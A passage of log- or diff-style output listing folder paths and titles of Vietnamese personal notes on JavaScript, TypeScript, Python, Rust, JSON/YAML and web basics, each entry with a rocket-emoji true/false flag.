"Biến và hàm", + "Biến được tạo mà không có từ khoá khai báo (var, let, const) luôn là biến toàn cục, kể cả khi được tạo trong hàm" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Callback, promise, async, await", + "await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Callback, promise, async, await", + "callback là một hàm được truyền vào một hàm khác giống như một tham số bình thường" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Callback, promise, async, await", + "Callback là những hàm được dùng như đối số của hàm khác" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Callback, promise, async, await", + "Dùng await trong filter sẽ chẳng filter được gì" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Callback, promise, async, await", + "Hàm gọi hàm callback đã xác định sẵn tham số truyền vào cho callback. Callback bắt buộc phải có đúng thứ tự và kiểu biến được hàm gọi cho trước" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Callback, promise, async, await", + "Promise", + "catch là then(null, onError)" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Callback, promise, async, await", + "Promise", + "Promise chỉ là một vật thể để việc lập trình được tiện hơn, không phải là một tính năng mà những phiên bản JS trước không làm được" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Callback, promise, async, await", + "Promise", + "Promise được sinh ra là để không phải dùng if lồng quá nhiều" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Callback, promise, async, await", + "Promise", + "Thực chất promise không giải quyết được chuyện lồng, vì promise cũng lồng vào nhau như if thôi. Thứ nó giải quyết là việc các giá trị trả về từ promise trông như không lồng vào nhau gì cả" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Chuỗi", + "JSON.stringify(new Error()) trả về một vật thể rỗng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Chuỗi", + "object Object xảy ra khi một vật thể bị chuyển sang dạng chuỗi" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Chuỗi", + "String(x) giống x.tostring(), nhưng không gây ra lỗi nếu x là null hoặc undefined" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Dùng map tiện hơn dùng for vì nó tạo ra một mảng mới cho mình và không cần phải lo mảng cũ bị sửa đổi" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "f(a)(b) để gọi hàm f(a) có chứa hàm con f1(b)" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Luôn dùng for of, đừng dùng for in" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Named export thường dùng cho các file lưu trữ nhiều function, object như utils, constant, api, store… Export default thường dùng cho class, function component" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Phương thức json() của Request và Response là để chuyển từ dạng chuỗi sang vật thể" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Sự kiện", + "Mọi sự kiện đều capture và target, nhưng không phải sự kiện nào cũng bubble" +] + +🚀: true +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Sự kiện" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Toán tử", + "Dùng nullish coalescing operator thay cho toán tử OR khi 0, '', NaN cần được trả về true chứ không phải false" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Toán tử", + "Luôn dùng ===. Nếu không có lý do hợp lý thì đừng dùng ==" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Toán tử", + "Mọi phép so sánh với NaN đều trả về false" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Toán tử", + "Đáng lẽ typeof null phải là 'null'. Nhưng nó lại trả về là 'object' vì đây là một bug lúc JS mới được viết, và việc sửa nó sẽ làm hỏng nhiều script" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Lịch sử phát triển của JavaScript" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Bundler dùng để gom hết tất cả các script lại vào làm một" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Các chương trình dùng electron ngốn ram" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Deno", + "Cứ 4kb thì tạo thành một read unit, chứ không phải là một lần chạy lệnh" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Deno", + "deno info giúp thấy chỗ script được chuyển sang JS" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Deno", + "Dùng Array.fromAsync để việc lấy dữ liệu từ KV không phải chờ tải về hết rồi mới bắt đầu lọc" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Deno", + "Làm quen Deno cho người mới" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Deno", + "Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Những hàm của môi trường thực thi không chạy được trên trình duyệt" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Node", + "Cần thiết lập EMS cho Node.js trước khi chạy" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Node", + "node.js là cách để dùng JS ở backend" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Node", + "npm là chương trình quản lý package cho node.js" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Node", + "npx là một gói mở rộng của npm giúp việc cài đặt dễ dàng hơn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Node", + "package.json dùng để thiết lập Node.js" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Runtime", + "Node với Deno là những môi trường thực thi của JS" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "strict mode là chế độ code nghiêm ngặt, bắt buộc lập trình viên phải tuân thủ theo quy tắc mà JS đưa ra" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Thư viện, API", + "Temporal được sinh ra để giải quyết rắc rối của Date" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Thư viện, API", + "VanillaJS chỉ là JS bình thường" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "as, is là những cách để nói cho TS biết là mình hiểu nhiều hơn nó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Chỉ thị ba dấu gạch chéo cung cấp chỉ dẫn cho TS" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Các ký hiệu trong TS" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Generic", + "generic là biến dành cho kiểu" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Generic", + "generic là cách để giữ được tính chung chung mà vẫn không bị mất thông tin" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Generic", + "generic là tính từ, không phải danh từ" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Index signature giúp khai báo kiểu của tên thuộc tính và giá trị của nó trong vật thể, dù không biết vật thể đó có cấu trúc thế nào" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Index signature và record là các cách khai báo kiểu vật thể" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Nếu dữ liệu không nhất thiết ở dạng vật thể thì type gọn hơn và linh hoạt hơn. Nếu đã xác định dữ liệu cần ở dạng vật thể thì interface sẽ thể hiện tốt ý tưởng của người viết hơn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Nếu một thứ kêu như con vịt và đi như con vịt, thì nó là con vịt" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "satisfied là để kiểm tra xem dữ liệu mình nhập bằng tay có thoả kiểu hay không" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Thư viện, plugin", + "DefinitelyTyped" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Thư viện, plugin", + "dts hoặc siroc dùng để khởi tạo dự án mà không tốn quá nhiều thời gian config" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Thư viện, plugin", + "Dùng string-ts để bắt kiểu cho chuỗi được tốt hơn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Thư viện, plugin", + "Dùng ts-reset để sửa những lỗi kỳ lạ của TS" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Thư viện, plugin", + "esbuild" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Thư viện, plugin", + "Người mới học TS thì nên cài extension Total TypeScript để bớt sợ" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Thư viện, plugin", + "Thay vì dùng Copilot để gợi ý code, có thể dùng 30 seconds of TypeScript" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "Thư viện, plugin", + "TS chỉ có thể bắt lỗi kiểu dữ liệu trong lúc viết code. Zod giúp bắt lỗi kiểu do người dùng trả về" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "tsc là TypeScript compiler, là thứ dịch TypeScript sang JavaScript" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "tsconfig" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "TypeScript cung cấp kiểu cho JS" +] + +🚀: true +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "TypeScript", + "void là kết quả của những hàm không trả kết quả nào" +] + +🚀: true +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Khác biệt giữa JS và Python" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Khác biệt giữa JS và Python", + "Về mặt kỹ thuật", + "JS uses {} syntax for object literals, Python uses it for dictionary and set literals" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Khác biệt giữa JS và Python", + "Về mặt kỹ thuật", + "Map trong JS tương đương với dictionary trong Python" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Khác biệt giữa JS và Python", + "Về mặt kỹ thuật", + "Trong JS, console.log() sẽ hiển thị toàn bộ nội dung vật thể mà không phải làm gì. Trong Python, print() sẽ chỉ hiển thị nội dung vật thể nếu __str__() đã được định nghĩa" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Khác biệt giữa JS và Python", + "Về mặt kỹ thuật", + "Từ điển dùng để chứa và thao tác với dữ liệu, trong khi JSON về bản chất dùng để mã hóa và giải mã dữ liệu" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Khác biệt giữa JS và Python", + "Về mặt kỹ thuật", + "Ý nghĩa tên folder" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Khác biệt giữa JS và Python", + "Về mặt kỹ thuật", + "Ở JS, nếu một biến có giá trị là một chuỗi JSON thì nó sẽ được hiểu là vật thể. Ở Python, nó được hiểu là từ điển" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Khác biệt giữa JS và Python", + "Về mặt triết lý", + "JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Khác biệt giữa JS và Python", + "Về mặt triết lý", + "Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Class", + "Nếu lớp không định nghĩa cả __repr__() và __str__() thì kết quả trả về có dạng __main__.Class_name object at 0x1025c4ed0" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Class", + "Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__()" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Class", + "__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "elif là để phân biệt else thuộc if nào" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Exception" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "IPython" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Jupyter notebook giúp chạy lệnh theo từng ô kèm diễn giải" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Không thể thay đổi tuple một khi đã được tạo ra" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Những phương thức có hai dấu gạch dưới hai bên được gọi là dunder (double underscore)" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "Conda", + "Anaconda giống như một fork Python có bổ sung thêm nhiều công cụ cho khoa học dữ liệu" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "Conda", + "Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "Conda", + "venv chỉ tạo môi trường ảo cho phiên bản hiện tại. Miniconda tạo môi trường ảo cho nhiều phiên bản" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "Conda", + "Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "Khi chạy Python trong VS Code, thư mục được chạy không phải là thư mục chứa script" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "Nên cài Python bằng bộ cài tải từ website nếu muốn lập trình" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "pip là chương trình quản lý package của Python" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "py là chương trình hỗ trợ việc quản lý phiên bản trên Windows" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "venv tạo môi trường ảo để tránh trường hợp chồng chéo các gói và xung đột phiên bản giữa các thư viện" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Path, env, version", + "Việc cài phiên bản mới không xoá phiên bản cũ đi khiến cho người mới hay bị lẫn lộn phiên bản" +] + +🚀: true +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "shell=True cần cho" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "Tuple là mảng nhưng không thay đổi được số lượng phần tử" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "__init__() chỉ tạo giá trị cho lớp. __new__() mới thực sự là hàm tạo" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "Python", + "__init__.py nói cho Python biết folder chứa nó là một package" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Map, dictionary, associative array, hash, hash table là những cái tên cho cùng một thứ" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Nên để dư một dấu phẩy ở phần tử cuối cùng khi tạo vật thể hoặc mảng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Runtime là lúc chạy, runtime environment là môi trường thực thi. Nhưng nhiều lúc môi trường thực thi được gọi tắt là runtime" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Rust", + "cargo giống npm hay pip" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Rust", + "Crate là file, package là tập hợp nhiều crate" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Rust", + "Mỗi lần refactor là một cực hình" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Rust", + "Rust phù hợp khi code đã ổn định rồi" +] + +🚀: true +[ "", "✍️Lập trình", "Ngôn ngữ", "Ngôn ngữ lập trình", "Rust" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Rust", + "TS là để thêm kiểu vào một ngôn ngữ từ đầu đã không muốn có kiểu. Rust được sinh ra với ý định có kiểu ngay từ đầu" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Rust", + "Viết chương trình bằng Rust giống như sống trong mối quan hệ bạo hành" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Ý đồ thiết kế", + "Các ngôn ngữ lập trình tiến hoá dần để trở thành Lisp" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Ý đồ thiết kế", + "JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Ý đồ thiết kế", + "Nếu compiler không làm cho lập trình viên thấy rõ lỗi của họ là gì, thì đó là lỗi của Rust, không phải của họ" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Ý đồ thiết kế", + "Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết" +] + +🚀: true +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Ý đồ thiết kế" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ scripting sinh ra là để xử lý văn bản, không nhấn mạnh về kiểu, khai báo" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ đánh dấu", + "Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ đánh dấu", + "JSON", + "JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ đánh dấu", + "JSON", + "JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ đánh dấu", + "JSON", + "JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ đánh dấu", + "JSON", + "JSON Schema dùng để đảm bảo file JSON được viết đúng" +] + +🚀: true +[ "", "✍️Lập trình", "Ngôn ngữ", "Ngôn ngữ đánh dấu" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ đánh dấu", + "RDF có thể được biểu diễn bằng JSON-LD" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ đánh dấu", + "YAML", + "Chuyển từ YAML sang JSON" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ đánh dấu", + "YAML", + "YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ đánh dấu", + "YAML", + "YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng" +] + +🚀: false +[ "", "✍️Lập trình", "Web", "Cache giúp giảm thời gian tải trang" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Cookie lưu thông tin cá nhân để server nhận dạng được ai với ai" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Cào web", + "BeautifulSoup", + "Có 4 loại vật thể. Tag, NavigableString, BeautifulSoup, và Comment" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Cào web", + "BeautifulSoup", + "find() chỉ kiếm tag đầu tiên, find_all() mới kiếm tất cả các tag" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Cào web", + "BeautifulSoup", + "NavigableString là những chữ có trong tag" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Cào web", + "BeautifulSoup", + "Tag là từ điển" +] + +🚀: true +[ "", "✍️Lập trình", "Web", "Cào web" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Cào web", + "Kiếm backend API trước hơn là 